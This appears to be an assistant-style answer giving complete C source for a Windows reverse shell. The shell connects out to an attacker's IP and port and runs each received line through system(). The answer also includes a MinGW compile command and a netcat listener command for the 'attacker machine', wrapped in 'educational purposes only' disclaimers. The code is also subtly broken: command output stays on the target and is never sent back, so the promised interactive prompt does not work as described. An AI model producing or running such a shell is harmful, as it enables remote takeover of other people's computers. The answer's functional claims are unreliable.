Here's an example of a simple reverse shell in C for Windows using the Winsock library. Note that this is for educational purposes only and should not be used for malicious activities.
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void error_quit(const char* msg)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, WSAGetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf, 0, NULL);
printf("[!] %s: %s", msg, (char*)lpMsgBuf);
LocalFree(lpMsgBuf);
exit(1);
}
int main(int argc, char* argv[])
{
WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
if (argc != 3) {
printf("Usage: %s <IP> <PORT>\n", argv[0]);
return 1;
}
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
error_quit("WSAStartup");
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
error_quit("socket");
}
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_port = htons(atoi(argv[2]));
if (connect(s, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
error_quit("connect");
}
printf("[+] Connected to %s:%s\n", argv[1], argv[2]);
char buf[4096];
while (1) {
int len = recv(s, buf, sizeof(buf) - 1, 0);
if (len <= 0) break;
buf[len] = '\0';
if (len > 0 && buf[len - 1] == '\n') buf[len - 1] = '\0';
printf("[*] cmd: %s", buf);
system(buf);
}
closesocket(s);
WSACleanup();
return 0;
}
To compile the code, you can use the MinGW-w64 GCC compiler:
gcc reverse_shell.c -o reverse_shell.exe -lws2_32
The reverse shell will connect back to the specified IP address and port. On the target machine, run the compiled executable reverse_shell.exe <IP> <PORT>. On the attacker machine, use a tool like nc (Netcat) or socat to listen for the incoming connection:
nc -lvnp <PORT>
When the reverse shell connects, you'll have a command prompt on the target machine. Type commands and press Enter to execute them.
Remember, this is for educational purposes only. Misusing reverse shells can lead to legal consequences.